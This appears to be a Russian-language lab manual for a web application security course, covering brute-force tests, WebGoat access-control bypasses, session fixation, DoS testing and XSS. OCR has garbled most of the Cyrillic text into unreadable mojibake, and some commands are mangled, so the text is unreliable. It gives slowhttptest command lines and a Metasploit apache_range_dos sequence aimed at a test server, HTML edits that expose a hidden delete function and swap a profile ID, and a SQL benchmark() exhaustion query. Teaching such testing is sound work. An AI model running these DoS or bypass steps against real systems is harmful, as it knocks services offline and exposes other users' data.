JOJIKHBI COBIIAJIaTh C TOYHO- CTHIO JI0 U3MEHSIEMBIX IMapaMEeTPOB U ObITh MOJTYYEHBI 32 OJJHO U TO Ke
BpeMs. B mpoTuBHOM cilyuae BeO-TIPHIIOKEHHE HMMEET CKPBITBIA KaHai (Opakyn), MO3BOJSIONIMNA
UICHTU(PHUIIMPOBATH €TO MOJIb30BATENEH.

[ar 6. [TpoBepuTh BO3MOXKHOCTh peATM3aIlMN aTaKu MMoAOOpa ma- poJis Mmojb30Barelns. Beectu ums
noJsib3oBarens. BBecTn HeckonbkO pa3 HempaBWibHBIM maponb (5 — 10 paz). Ilocie atoro BBecTH
MIPaBUIbHBIN
napoJib AJIs 9TOM y4ETHOM 3amycH. BBECTH OJIMHAKOBBIN NapoJib JJIs pa3HbIX YYETHBIX 3anuceit (ams 5
—10).

[IpoBepuTh BO3MOKHOCTH JIOCTyNa K BEO-TIPHIIOKEHHUIO. BIIOKMpO- BaHWE YUYETHBIX 3amucei
I10JIB30BATENS TIOCIIE HECKOJIBKMX HEYIayHbIX MOMBITOK BXOJA CO3AAcT YCIOBUE Il peanu3anuu DoS-

aTakKl U HC OOJDKHO HCIIOJIB30BAThCA B MCXaHU3MaX 3alllMTHI OT aTak noz[60pa na- poneﬁ. Bwmecto
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3TOr0 HEOOXOJUMO HCMOJIb30BATh BO3PACTAIOIIME BpE- MEHHbIE 3aJepKKU WIM CpEJICTBA AHTH-
aBromatuzanuu (Hanpumep, CAPTCHA).

[ar 7. IlpoBeputb, YTO UYBCTBUTENIbHBII KOHTEHT (HalpUMeEp, CTPAHULIBI C BBEICHHBIMU
HOMEpaMU KPEeIUTHBIX KapT, CYETOB, aJipe- COB) HE JIOCTYIEH yepe3 Mexanu3Mm History BeO-Opaysepa, a
TaK)K€ HE KJIIIMPYEeTCs WM. BOWTHM 1OJX YYETHOM 3alMChIO IOJIb30BATEIA, IEPEUTH HA CTPAHHULY C
YyBCTBUTEIbHBIM KOHTEHTOM. BBecTM HOBble naHHble. BpliiTn u3 npunoxenus. Haxare KHOIKY
«Back». Ilonb3oBarens He MOJKEH HMMETh BO3MOKHOCTH BBIMOJHATH HOBBIE 3ampOChl (MPU KOP-
PEKTHOI peanu3aluu YIpaBJIeHUs ceccusiMu). Eciau mpu 3TOM IOJIb30- BATEN0 JOCTYIHBI PaHEe
3arpamBaeMble CTPAHHIIBI, TO 3TO O3HAYAET, YTO CEpPBEpHasl YacTh BEO-TPUIIOKEHHUS HE 3alpeTuia
Be0-0Opay3epy COXpaHsTh JaHHbBIE B HCTOPUHU.

3anpemenue ka3mupoBanus onpenenserca Hannauem HTTP- 3aronoskoB Pragma, Cache-Control u

Expires co cieayommuMu peko- MeHI0BaHHBIMHU 3HAUCHHSIMHU:

Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate, max-age=0

Expires: -1

Hlar 8. 3amyctuth BeO-npuinoxxenue WebGoat. Beectu norun:
«guest», Maposib: «guesty.

[Tepetitunoccouike «Access Control Flaws — Bypass a Path Based Access Control».
NzyauTthycnoBuszagaun. Uc- nosb3ysFireBug (nnmnro0oNaHAIOTMIHBIMMHCTPYMEHT),
usmeHuTh3Hadenue AccessControlMatrix.html ua ../../main.jsp. HaxxatekHonky «View Filey.

[Tepeiitunoccouike «LAB: Role Based Access Control — Stage 1». M3yuuTh ycioBus 3a1auu.
Boiitu non nonw3oBarenem Tom (maposib: Tom). MoXHO BUAETh, YTO OT MOJB30BATENsl CKPbITA
KHOTIKa

«DeleteProfile», Tak kak OH He JOKEH MMETh BO3MOXKHOCTH yJa- JIATh y4eTHble 3anmucu. HaxaTh
kHONKYy «ViewProfile». B BurpSuite nmpocmotpets 3anpoc. Mcnonssys FireBug (unu mro60ii anano-

THYHBIA MHCTPYMEHT), n3MeHuTh HTML-pa3mery, 3aMEHHB 371€MEHT

<input type="submit" value="ViewProfile" name="action">
Ha3JICMCHT
<input type="submit" value="DeleteProfile" name="action">
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Haxare xnomky «DeleteProfile». IlpocmoTpers ornpaBienHsiii 3anpoc B BurpSuite. ITpoduib
HoJIb30BaTesst OyIeT ylaieH.

OnuumonansHo pemuth 3a1ady «LAB: RoleBasedAccessControl — Stage 2».

[Mepeiitunioccruike «LLAB: Role Based Access Control — Stage 3». M3yuuth ycnoBus 3ajauu.
Boiitu non nonezoBatenem Tom (mapons: Tom). Haxare xHomky «ViewProfilen. B BurpSuitenpo-
CMOTpEeTh 3amnpoc. MOXHO BHJETb, YTO IIOJb30BATENIO JOCTYIHBI JlaH- HbIE CBOETO MPOQUIIS.

Ucnonp3ys FireBug (unm mro0oi aHamOTWYHBIM MHCTpYMEHT), u3MeHuTth HTML-pasmery, 3ameHuB

DJIEMEHT

<option value="105" selected="">Tom Cat (employee)</option>
HAa’3JICMCHT

<option value="103" selected="">Tom Cat (employee)</option>

Haxare knomky «ViewProfile». IlpocMoTpers otmpaBnenssiii 3anpoc B BurpSuite. Bbynyt
BBIBEJICHBI TaHHBIE Tpodust monp3oBatens CurlyStooge.

OnuuonansHo pemuth 3anauy «LAB: RoleBasedAccessControl — Stage 4».

[Mepeiitunocceiike «Remote admin access». H3yuntbycioBussamgaun. I[IpocMOTPETHIIOIMEHIO
«AdminFunctionsy. [Mepeiitunoccruike\WebGoat/attack?Screen=86&menu=200&admin=true.
[IpocmoTtpets noamento «AdminFunctionsy.

Bonpocsl u 3a1aHus

1. M3yunTp peKOMEHJAalMM K 3allMIICHHON peaJn3allid MeXaHW3Ma XpaHEHHs MapoJiei.
HccnenoBaTh MEXaHU3M BOCCTAHOBJICHHUS TapoJieil BHIOPaHHOTOBEO-MTPUIIOKEHHUS.

2. WccrnenoBarh MUHUMAJIBHO JOIYCTHUMYIO JUIMHY M CIIOKHOCTH I1apOJIEN B IPOU3BOJIBHBIX IISTH
BeO-npuioxenusx u3 peiiruara ALEXA TOP100.

3. UccnenoBaTh HaIM4YMe OpaKyJOB B MEXaHH3MaxX ayTeHTU(HKA- IIUU NPOU3BOJIbHBIX MSATH BEO-

npuiokeHusx u3 peituara ALEXA TOP 100.

2 3apanue

Ceccust BeO-npusioxkeHusi — 310 nocienoBarenbHocth HTTP- 3anpocoB M cOOTBETCTBYIOIIUX UM
HTTP-orBeToB, acconMMpOBaHHBIX C KOHKpETHBIM moib3oBareneM. [Iporokon HTTP nHe umeer
BCTPOCHHBIX MEXaHM3MOB YIIpaBJICHUs ceccusiMu (statelessprotocol) u mo3ToMy MeXaHU3M yIpaBICHUS
CeCCUsIMU pealM3yeTcsl JIOTUKOM BeO- mpuioxeHua. Kak MHHHMyM, ceccus cO34aeTcss HpHU

yCIelHOMayTeHTU(UKAIIUY T10JIb30BaTeNs B BeO-puiioskeHuu. [Ipu 3ToM reHepupyeTcsi yHUKaIbHBIN
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unaeHTuuKaTop (TOKEH) CeCCUU, aCCOIMUPOBAHHBIN C ATHM MOJb30BaTeneM. JlaHHbIi naeHTHUKATOP
nepenaercs B kaxaom HTTP-3anpoce u siBIsieTcss aHAIOroM Maposisi MOJIb30BATEINs, TaK KakK JIF0OOU
HTTP-3anpoc, conepxamuii Takoi HACHTUPUKATOP, OYIAET BOCIIPUHAT BEO-TIPHIIOKEHUEM KaK 3ampoc
OT JIESTUTUMHOTO MOJIb30BATEIS.

Kak npaBunio, uneHrudukaTop ceccuu nepenaercs B 3aroinoBkax Cookie cpeacrBamu Be6-0Opaysepa,
pexke B cienuanbHbix HTTP- 3aromoskax (manpumep, X-Auth-Token) cpencrtsamu AJAX. Tlepenaua
uneHtudukaropa ceccu B URL sBisieTcss HauMeHee 3allUIIEHHOW M B HACTOAIICE BPeMs, Kak
NPaBUJIO, HE IPUMEHSETCS.

[TpuBenem ocHOBHBIE TpeOOBaHUs OE30MACHOCTH K peaTM3allii MEXaHU3Ma YIPABICHHS CECCHSIMU
[8]:

— UMS CECCHOHHOTO HJICHTHU(UKAaTOpa HE JHOJDKHO TIO3BOJIATH JIETKO HIACHTU(DUIMPOBATH BeO-
npuioxenue (Hanpumep, PHPSESSID, ASP.NET_Sessionld,JSESSIONID);

— JUIMHA CECCHOHHOTO MIEHTH(HKATOpa T0JKHA OBITh HEe MeHee 128 OuT;

— DHTPOIHUS CECCHOHHOTO UACHTU(PHUKATOPA JOJDKHA OBITh HE MeHEe 64 OuT;

— mepefaya CECCHOHHOTO HICHTHU(UKAaTOopa IO0/DKHA OCYIIECTBIAThCS B 3arosioBkax Cookie ¢
¢dmaramu HttpOnly, Secure u BbIcTaBieH- HbIM arpuOyromDomain;

— TIocJe M3MEHEHHUs COCTOSHHSI TOJb30BaTeNs (BXOJ B BeO- NMPHIIOKEHHWE, CMEHa Mapojisi, CMEHa
pOJHU, UCTeUeHHEe TaiiMayTa HEe-aKTUBHOCTU H T.I.), KDUTHYHOTO C TOYKH 3PEHUS MOIUTUKU 0e3-
OTACHOCTH, TOJI’KEH CO3/1aBaThCsl HOBBIM MIEHTU(DUKATOP CECCUH, A CTAPBI —aHHYIHUPOBATHCS;

— mnocye usMmenenus nporokona HTTP wa HTTPS nomxen coznaBaTh- ¢S HOBBIM HIEHTU(UKATOP
CECCHUH, a CTapbli —aHHYJIUPOBATHCS;

— aHHYJIUPOBAaHHUE CECCHOHHOTO MJIEHTU(UKATOPA TOMKHO OBITh pea- TU30BaHO KaK Ha KJIHEHTE, TaK
U HacepBepe;

— JOJKHBI OBITh pealn30BaHbl TailMayT HEAKTHBHOCTH, aOCOMIOTHBIM TalMayT u TaiMayT
OOHOBIICHHSI CECCHOHHOTOMICHTH(HUKATOPA.

Beinensror cieyronrie OCHOBHBIE aTaki Ha MEXaHU3MBI YIIPABJICHUS CECCHIMMU:

— (uxcamnusaceccun;

no100p UACHTU(PHUKATOPACECCUH;

— IepexBaT UAEHTU(]UKATOpACEeCCUU;

Kpaka HIEHTU(PUKATOPACECCHUH.
[Tomyuenue naeHTU(HUKATOPA CECCUU TTOTH30BATENS IPUBOIUT, KaK MPABUIIO, K MTOIYUYEHUIO
3II0YMBIIIJICHHHKOM BCEX TIPaB MOJIb30BaTETIs.
ITocaenoBaTeILHOCTE AeHCTBUIA
[Iar 1. Hactpouth paboty Opay3epa uepe3 mTaTHBIN Mpokcu- cepBep BurpSuite. B Be6-Opaysepe

OTKPBITh TJIABHYIO CTPaHUIly TECTHpyeMoro BeO-mpuioxenus Www.test.app.com. IIpocmorpers
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Cookie, ompenenutb, co3gaeTcs JM CecCUsl Ui HEayTCHTU(UIHMPOBAHHBIX  (QHOHMMHBIX)
M0JIb30BaTENEH.

[Mar 2. BBectu KOppekTHbIe JOTUH M maposb. ONpeaenuTbh, YTO HCIONb3YEeTCS B KauecTBE
TpaHCIIOpTa sl epeaayun uaeHTudukaropa ceccun. Ecnu st aToro ucnonb3yercs mexanusm Cookie,
TO ONpeAenuTh uMeHa cookie, ux arpudytsl (Secure, HttpOnly, Domain, Path, Expires) u 3HaueHwus.
[Tpoananu3upoBaTh aIeKBaTHOCTh UCOJIb3yeMbIx aTpudyToB Cookie.

[ar 3. [Ipoananu3upoBaTh UMs UAECHTU(PUKATOPA CECCUH, €0 CTPYKTYPY U 3HAUEHUE, ONPEACTUTD,
UCTIONB3YeTCsl T KOJUpPOBaHHME WM MH(poBaHWE NaHHBIX. Vcmoip3ys WHCTpyMEHT Sequencer B
BurpSuite, MIPOaHAIN3UPOBATH BEPOSITHOCTHBIE XapaKTePUCTUKH M0CJIEI0BATEIbHOCTH
uaeHtuduxkatopoB ceccuil. CrenaTe BBIBOJ O COOTBETCTBUM pealu3alud (QYHKIUU TEeHEepaluu
uaeHTudukaTopoB TpeboBaHUsAM Oe3zonmacHocTH. Crenatbh BBIBOJ O BO3MOXXHOCTH HCIOJIb30BAHUS
aTaku rpy0oil CHIIBI I TeHEPALluU CECCHOHHOTO UACHTU(PHUKATOPA TOIH30BATEIIS.

Hlar 4. IlpoBepuTh aHHYIHPYEMOCTh CecCMU Ha cepBepHOU ctopoHe. Coxpanuth Cookie B BeO-
Opay3epe (MOXKHOMCHONB30BaTh  pacmupenue  ExportCookies), BbIATH U3  IPUIIOKEHUS.
HNmnoprtupoBats coxpanenHble paHee Cookie B Opay3ep (MOKHO HCIIOJNB30BAaTh pPaCIIUPEHHE
ImportCookies). Ilepeiitu mo mroboMy agpecy BeO-TpuiokeHUs. ECIU BbI MONaaeTe B MPEABIAYIIYIO
CEeCCHIO, TO 3TO O3HAYAET, YTO aHHYJIHPOBAHUE CECCHU MPOUCXOIUT TOJILKO Ha KiMeHTe. [IpoBepuTh,
YTO TNOJIb30BATENb MOXKET 3aBEPILIMTh CBOIO CECCHIO B JIFOOOH MOMEHT BpPEMEHM — KaKias CTpaHUIa,
JOCTYIHAs MOCe ayTeHTU(UKAIUK, COJAEPKHUT CCbUIKY THIa «Signout», MO3BOJSIONIYIO 3aBEpPLIMThH
ceccuto. [IpoBepuTh, Kakre MEXaHNU3MBI TAMAayTOB PEAN30BaHbl BBEO-TTPHUIIOKECHHN.

[ITar 5. [IpoBepUTh BO3MOKHOCTh BBITIOJIHEHUS ATAKW THIIA
«Pukcanus ceccun». st 3TOro MpoBEepUTH HAJIMUKE CIEAYIOIIEr0 HEAOCTaTKa: BEO-TPUIIOKEHUE He
OOHOBJIISIET CECCUOHHBIM MIEHTU(PHUKATOP, OTIPABIECHHBIH Opay3epoM MOoJIb30BaTeNs, OCIe YCHElIH oM
ayreHTHU(UKanuu nocienHero. OTHpaBUTH 3alpoc BeO- MPHUIOKEHHIO M IOJYYUTh CECCHOHHBIN

uaentuduxarop B Cookie:

GET/HTTP/1.1
Host: www.test.app.com
\r\in

HOJ'IyLII/ITL " NpOaHaJIM3UPOBATH OTBCT

HTTP/1.1 200 OK
Date: Wed, 14 Aug 2008 08:45:11 GMT

Server: IBM_HTTP_Server
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Set-Cookie: ID=d8eyYq3L0z2fggl0m4v; Path=/; secure

AyTeHTU(PUIIUPOBATHCS, UCIOJIB3YS 3aMPOC C MOIYYSHHBIM HIeH- TUhuKaTopom ID:

POST https://www.test.app.com/auth HTTP/1.1 Host: www.test.app.com
Cookie: ID=d8eyY(q3L0z2fgql0m4v
\r\n user=test&password=2z123456
Ecnu ayreHTH(UKAIMS IPOIIUIA YCIICITHO, TO MPUIOKECHHUE YSI3BUMO K
aTake UKCaIliu CECCHH.
JomnonnurenbHo yOeauTbcs, 4TO UASHTHU(UKATOp ceccuu mepenaerca Toilbko B Cookie u He
packpbIBaeTcs B Jior-(aiinax, coodmenusx o6 ommobkax, URL u T.1.
[ar 7. [IpoBepuTh, YTO HACHTHU(PUKATOP CECCHH MEHSETCS IOCJIC MOBTOPHOW ayTeHTU(UKAIIHH,
CMEHBI IApOJIsl, POJIU U T. 1.
[ar 8. [IpoBepuTh, UTO BEO-MPUIOKEHUE HE TO3BOJISET UMETh JBE OMHAKOBBIE CECCUU C JIBYX

Pa3HbIX Y3JIOB CCTH.

Bonpocsl u 3axaHus

1. Ilpemoxuth crieHapuil aTaky, MCIOJIb3YIOIINUNA HEJOCTATOK aH- HYJIUPOBAaHUS CECCUU TOJBKO
Ha KJINEHTCKOM CTOpOHE BeO- MPUIIOKEHUS.

2. WUcnonp3ys nouckoBble cuctembl (Google, Shodan), HaliTu BeO- MPUIOKEHUS C MEXAaHU3MOM
URLRewriting.

3. Hanucatps cuenapuii JavaScript, ycTaHaBIMBArOIIMNA WM CUUTHI- BAIOUIMHA HJIEHTU(UKATOP

CCCCHUHIIOTIB30BAaTCIIA.

dopma npeacTrabiieHus pe3yJbTara:
[IpenocTaBUTh CKPUIIT 3aJaHUM

Kpurepun onenkmn:
Onenka "5" craBuTcs: Bcs paboTa BbIoJHEHA 0€301IMO00YHO U HET UCIPABICHUII;

Onenka "4" ctaBUTCA: JONMYLIEHBI 1-2 BRIYUCIUTEIbHBIE OIIMOKH.

Orenka "3" craBUTCA: TOMYIICHBI OMIMOKU B XO/I€ PEUISCHUS 3aaud IPH MPaBUIHHOM BBITIOTHEHUH
BCEX OCTaJbHBIX 3aJIaHUN WM JOMYIIEHBI 3-4 BBIYMCIUTENIBHBIE OIIMOKH, MPH ATOM XOJ aHaIM3a

JOJDKEH OBITh BEPHBIM.

Onenka "2" craBUTCS: [OMYIICHBI OIMIMOKM B XOAE pEIICHUS 3adadyd W XOTs OBl OJHA
BBIYHMCIIUTENbHAS OIMKMOKA WJIM TIPH aHAIW3E W MPUMEPOB JOMYIIEHO Ooyiee 5 BBIUMCIUTEIHHBIX

OoIIn0oK.
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MJIK 09.03 OBECITEYEHUE BE3OITACHOCTH BEB-ITPUJIOXKEHUI
Tewma 3.1 TexHomoruu odbecrniedeHust 6€30MaCHOCTH BeO — MPHIIOKEHUI

JlaGoparopHoe 3ansiTue Ne 2
«TectupoBaHue Ha YCTOMYMUBOCTD K aTakaM OTKa3a B OOCITYKUBAHUM»

Hesanb padoTsi
Llenbto abopaTopHOil paboOTHI sBIsiETCS OOy4eHHE METOJaM M CpeJCTBaM TECTUPOBAHHS BeO-

IPUJIOKEHUI Ha YCTOMYMBOCTh K aTakaM oTKa3a B oOciyxuBaHuu(DoS-aTakam).

Boinosinus pa6ory, Bel Oynere:
ymembw:

V35. ocymecTBIATh ayAUT O€30MaCHOCTH BEO-TTPUIIOKEHUIA;

VY01.2 ananu3upoBath 3aa4y W/Win NpoOeMy U BbIIEIATh €€ COCTaBHbIC YaCTH;

Y02.4 cTpyKTypHpOBaTh MOITYIaeMyI0 HH(OPMAIIHIO;,

VY03.2 npuMeHsITh COBPEMEHHYIO HayYHYIO TPO(PECCHOHATBHYIO TEPMUHOJIOTHIO;

Y09.1 npumeHATh cpeacTBa HHPOPMALMOHHBIX TEXHOIOTUH /7S pelieHus! TPO(hecCHOHAIBHBIX
3aja4;

V09.2 ucnonb3oBaTh COBPEMEHHOE MPOTPAMMHOE 00ECTICUCHHUE;

MarepuanabHoe obecnedyenne:

[TK,rexcToBbIil penaktop biaokHOT,0pay3ep

3aganue:
BbInmonHuTE TECTHMpOBaHME YCTOHUMBOCTH BeO-TpuiIokeHusWWW.test.app.comk DoS-arakam Ha

ypoBHe npotokona HTTP

Kparkue TeopeTrnueckue cBeIeHUs

Llenbto peanuzanmuu DoS-aTaku siBiseTcsl HapylIeHUe JOCTYIMHOCTH BEO-TIPUIIOKEHUS. DTO MOXKET
ObITH JOCTUTHYTO IyTeM DoS-araku Ha kaHan CBsI3HM, IPOrpaMMHYIO Iu1aThopMy Beb-cepBepa WM Ha
caMo BeO-TIPUIIOKCHHUE.

Tpagunmonno DoS-ataku sBISIOTCA CETEBBIMU (MCIOJB3YIOT HEAOCTATKU CETEBBIX TEXHOJIOTUMN) U
MOTYT OBbITh KJIaCCU(PHUIMPOBaHEI 10 ypoBHAM Mozaenu ISO/OSI. Hampumep, ataku ICMP Flood (L3) u
DNS/NTP Amplification (L7) npuBoasT k oTka3y kaHama cBsizu, a ataku PingofDeath (L3), SYN
Flood (L4), SSL RenegotiationDoS
(L5/L6), HTTP Flood (L7), Slow HTTP (L7) Bo3ameiicTByroT Ha Mmiatopmy BeO-TIPUIOKEHUS

(omepanoHHast cuctema, Be0-cepBep, PpIUMBOPK U T.1.).
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Jist  gocTKeHHsT OTKaza B OOCITY)KMBAaHMM C TIOMOIIBIO aTak MNpHUKIagHOTO YypoBHs (L7)
aTaKyIoIIEeMy MOXKET MOTPeOOBaThCs CYIIECTBEHHO MEHbIIIEE KOJIMUECTBO pecypcoB. Hampumep, eciu
s yenemHon peanusanus atakk SYN Flood ona momkna ObiTh pacmpenenenHod (DDoS) wu
UCIIOJIb30BaTh OOTHET, TO Jytsl peanu3anuu atak kinacca Slow HTTP DoS (Slowloris, Slow HTTP Post,
Slow HTTPRead) 00bI4HO 10CTaTOYHO OAHOTO KOoMIbioTepa [10 —13].

BMmecte ¢ Tem s BeO-TIPHIIOKCHHMN TaKXKe XapakTepHbl DoS-aTaku YpOBHS TNPHIIOKEHUS,
BO3MOXKHBIE U3-3a HAIMYHS YSI3BUMOCTEH B ero koze [9]. Hanmpumep, BO3MOXHOCTh TIPOBEIICHHS aTaKu
tuna SQL injection MOXET MO3BOJUTH 3JIOYMBIIUICHHUKY YAAJIUTh 0a3zy JaHHBIX C YYETHBIMU
3aMuCsSIMH TIOJh30BaTeNIel WM BBIMONHUTH 3ampoc Buaa selectbenchmark(100000000, now()) mist

H3pacxoJ0oBaHUuA peCypCOB CHUCTCMBI. Taxxe IIpuUMEpaMH aTakK YPOBHSA IMMPUIIOXKCHUS SABJIAIOTCS aTaKH

XML BillionLaughs (XML Bomb), XML QuadraticBlowupAttack, ZIP ofDeath (ZIP Bomb).

ITocsenoBaTeIbHOCTH JEHCTBHI
Hlar 1.  VYcranoBute  mnporpammy  slowhttptest,  goctymnyro no  URL  Buga
https://code.google.com/p/slowhttptest. M3y4nTh AOKyMEHTAIMIO. 3alyCTUTh CETEBON aHAIM3aTOP
Wireshark.

[Iar 2. Ha TectoBOM cTeHie, IMYyIUpPYIOIIEM padoTy BeO-cepBepa WWW.test.app.Com, yCTaHOBUTH U
BBINOJIHUTH 0a30Bble HacTpolku ansi BeO-cepBepoB Apache, Nginx u IIS. 3amyctuts BeG-cepBep
Apache.

[Har 3. 3anycTuTh B OTHOIIEHUH BeO-cepBepa ataky Slowloris, mpocMOTpeTh TPaCCUPOBKY
COGIMHEHUS, POBEPHTH JIOCTYITHOCTh BEO- cepBepa ¢ MOMOIIBI0 TPOM3BOIBLHOTO Opay3epa:

# slownhttptest -H -c 3000 -r 3000 -i 50 -1 6000

—Uu http://www.test.app.com

[TpoBecT HECKOJIBKO TECTOB C pa3lMYHBIMU Mapamerpamu. llocTpouThs rpaduku cocTosHUsS BeO-
cepsepa.
lar 4. 3anmyctuthk B oTHOIIEHNH BeO-cepBepa ataky Slow HTTP POST, npocMoTpeTh TpacCUpOBKY

COEMHEHUS, IPOBEPUTH JIOCTYITHOCTh BeO-cepBepa ¢ MOMOIIBIO TPOU3BOJILHOTO Opay3epa:

# slowhttptest -B -c 3000 -r 3000 -i 50 -1 6000

—U http://www.test.app.com

[TpoBecTH HECKOJIBKO TECTOB C pa3iMYHbIMH mMapamerpamu. llocTpouTs rpaduku cocTosHUS BeO-

cepsepa.
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Hlar 5. 3anycTtuth B oTHOWIEHMHM BeO-cepBepa aTtaky SlowRead, BeIOpaB (aiin mocraroyHOro
pa3Mepa, MPOCMOTPETh TPACCUPOBKY COCAMHEHHMS, IIPOBEPUTH JOCTYITHOCTH BeO-cepBepa ¢ MOMOIIBIO

MIPOU3BOJILHOTO Opay3epa:

# slowhttptest -X -c 3000 -r 3000 -1 6000 -k 5 -n50
-w 1 -y 2 -z 1 —uhttp://www.test.app.com/bigauth.js

[IpoBecTr HECKOIBKO TECTOB C pa3IMYHBIMU napamerpamu. [loctpouts rpaduku cocrostaus Be6-
cepsepa.
[ar 6. OctanoBuTh cepBep Apache. 3amycTuts cepBep Nginx.
[Tponenats npeapiIyIIKe MIard B OTHOIIEHUH cepBepa Nginx.
Hlar 7. OcranoButs cepBep Nginx. 3amyctuth cepsep 1IS. [IpoaenaTs npenpimymiye mark B
oTHoleHuu cepsepa IIS.
[ar 8. B orHomenuu cepepa Apache Boimonuuth ataky ApacheRangeHeader. [IpoananusupoBats

PE3yIbTaThl. BreimonHuTts KOMaHy

# slowhttptest -R -u http://www.test.app.com -t GET
-¢ 1000 -a 10 -b 3000 -r 500

Beimonauth araky ApacheRangeHeader ¢ ucnonszoBanuem MetasploitFramework:
# msfconsole

> useauxiliary/dos/http/apache_range dos

\%

showoptions

> set RHOSTSwww.test.app.com
> set RPORT80

> set RLIMIT100

> set THREADS3

> run

Bonpoce!l u 3aganus
1. Kak MO>XHO TI0 KOCBEHHBIM MTPU3HAKAM OTPEICIUTh YA3BUMOCTh BeO-CepBepa K aTakaM THITa
Slow HTTPDoS?
2. PeanmuzoBaTh MexaHM3MBI 3alTUTHI JJ1s BeO-cepepa Apache ot atak Slow HTTPDoS.

3. Peayim3oBaTh ¥ IpOTECTUPOBAThH BEO-TIPUIIOKEHHE, YsA3BUMOE K aTake XMLBomb.
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dopma npeacTaBjIeHus pe3yJabTara:
[IpenocTaBUTh CKpUNT 3aJJaHUI

Kpurepum ouenku:
Onenka "5" craBUTCS: BCS paboTa BBITOTHEHA 0€30IMIMO0YHO U HET UCIIPABIICHHI;
Onenka "4" craBUTCS: AOMYIICHBI 1-2 BBIYUCITUTEIBHBIC OIIHOKH.

Orenka "3" cTaBUTCS: TOMYIIEHB! OITMOKH B XO/I€ PEIICHUS 3a/1a4H ITPH MTPABUILHOM BBIITOJTHEHUN
BCEX OCTAJbHBIX 3aJaHUIl WM JOMYyLICHHl 3-4 BBIYMCIUTENbHBIC OUIMOKH, NPH 3TOM XOJ aHaIn3a

JIOJKEH OBITH BEPHBIM.

Ounenka "2" craBHUTCS: JMONYIICHBI OMMOKKM B XOJA€ pPEHICHUS 3aJadyd W XOTs OBl OJHA
BBIUMCIIMTENbHAS OMIMOKA WM TPH aHaIW3e W TPUMEPOB JOMYIICHO OoJjiee 5 BBIYMCIUTEIBHBIX

o1unooK.
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MJIK 09.03 OBECITEYEHUE BE3OITACHOCTH BEB-ITPUJIOXKEHUI
Tewma 3.1 TexHomoruu odbecrniedeHust 6€30MaCHOCTH BeO — MPHIIOKEHUI

JlaGoparopHoe 3ansiTue Ne 3
«Ilouck ys3BuMocTeit k arakam XSS»

Hesanb padoTsi

[lenpro mabopaTopHOi pabOTHI SBISETCS OOYYCHHE METOJAaM M CPEICTBAM HICHTU(DUKAIUU H
AKCIUTyaTalluu ySI3BUMOCTEH BeO- MPUIIOKEHUH K aTakam XSS

Boinosnus padory, Bel Oyaere:

ymemb:

VY35. ocymecTBIsATh AyAUT 0€301MaCHOCTH BEO-TIPHIIOKCHHUIA;

Y01.2 aHanu3upoBath 33a9y U/WIKA TPOOJIEMY U BBICISATE €€ COCTaBHBIC YaCTH;

Y02.4 cTpyKTypupOBaTh MOIy4aeMyro HH(HOPMAIIUIO;

Y03.2 npuMeHsITh COBPEMEHHYIO HAYYHYIO MPO(ECCHOHAIBHYIO TEPMUHOJIOTHIO;

Y09.1 npumeHsTh cpeAcTBa MHOOPMAIIMOHHBIX TEXHOJIOTHH ISl PeIeHUS MPO(hEeCCUOHATLHBIX
3az1ay;

VY09.2 ucnonp30BaTh COBpEMEHHOE MTPOTrPAMMHOE 00ECTIeUCHUE;

MaTeplflaJ'll)HOC o0ecneyeHnue:

[TK,rexcToBslii penaktop briokHoT,0pay3ep

3amanmue:

BbInonHUTE MAEHTU(UKALMIO U SKCILTyaTalUIo yI3BUMOCTEN K atakaM XSS

Kpatkue TeopeTnueckue cBeeHHs

Araka Cross-SiteScripting (XSS) — 310 ataka Ha BeO-NPHIIOKEHHE, UCIONB3YIOIIAass HEJOCTATKH
HEeIMpaBUIBLHON 00pabOTKHM JAHHBIX W MO3BOJISIONIAS BRIMOTHUTE MPOU3BOJIBHBIN crieHapuii (JavaScript,
VBScript) B koHTEeKCTE HCTOYHUKA (Origin) yA3BUMOTrO BeO- MPUIIOKEHUSI.

Ataku XSS kinaccu(uuupyroTcs Mo BEKTOpPY M crocoOy Bo3aeicTBus. Ilo BekTOpy BO31eHCTBHS
ataku XSS ObBatoT orpakeHHbiMH (reflected), ycToiiuumBbIMEH (persistent) ¥ OCHOBaHHBIMH Ha
obbexkTHOM Monenu nokymeHTa (DOM-based). Ilo BekTopy arakum XSS gemsiTcsi Ha aKTUBHBIE U
MIACCHBHEIE.

VYcroitunBas ataka XSS — 310 XSS aTaka, B pe3ynbTare KOTOPOW BBEAECHHBIHN 310yMBIIIJIEHHUKOM
KOJI COXpaHsieTcs Ha BeO-cepBepe M BO3BpAILlAETCs MOJB30BATENIO B 3alIpOCe HE COIEpIKAIEM BEKTOP

aTaKu.
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OtpakenHas ataka XSS — XSS araka, B pe3ysnbTare KOTOPOH KOJI, BBEIEHHBIN 3JI0yMBIIIJIEHHUKOM,
nepesaeTcs Moab30BaTelNo B OTBETE Ha TOT e 3alpoc, B KOTOPOM MepeaaH BEKTOP aTakH.

Ataka XSS, HaszpiBaeTcs DOM-based, ecnu Koj 3JI0yMBIUICHHMKA MOXKET OBITh BBITIOJIHEH B
Opay3epe moJib3oBarens 6e3 OTIPABKH 3ampoca Ha CepBeEp BEO-TIPHIIOKEHUS.

B pesynpraTte ycneumHoi peanuzanuy ataku XSS 3I0yMBIIIJIEHHUK MOXET BBIIOJIHUTH, HAIIPUMED,
clenyIolre AeCTBUS:

— TIepeHanpaBUTh MOJIB30BATEINS Ha TI000HBEO-CalT;

— TMOJIYYHUTbh ayTeHTU(UKAIIMOHHBIC JaHHBIE TIOJIB30BaTEN, Tiepena- romuecs BCookie;

— TOJIYYHTb JTFOOBIC JaHHBIC, K KOTOPBIM HMEET JOCTYI KIIMEHTCKAsl YaCThBEO-TIPHIIOKCHUS;
— TMOJIYYHUTb JOCTYI K BHYTPEHHEH CETUIOIB30BATENS;

— BBIIOJHUTH Deface BeO-caiita Ur.1I.

B oOmemupoBoii TMpakTUKE TECTUPOBAHMS 3alIMINEHHOCTH BEO- TPUIOKCHWA B KadyecTBE
JIOKa3aTelIbCTBA YSA3BUMOCTH TPHIOKEHUS K aTake XSS MPUHATO AEMOHCTPUPOBATH BO3MOKHOCTH
BbInoHeHus JavaScript-kona Buaa alert(1), prompt(/XSS/), confirm(0) u 1.1

[Tpu TecTUpOBaHUU HAUYMS YSI3BUMOCTH K aTakaMm XSS Ba)KHO OMPEeNATh KOHTEKCT, B KOTOPBIH
BBIBOATCS naHHble. CymiecTByroT cieayromue Buasl koHTekcToB: HTML, SCRIPT, STYLE, URL u

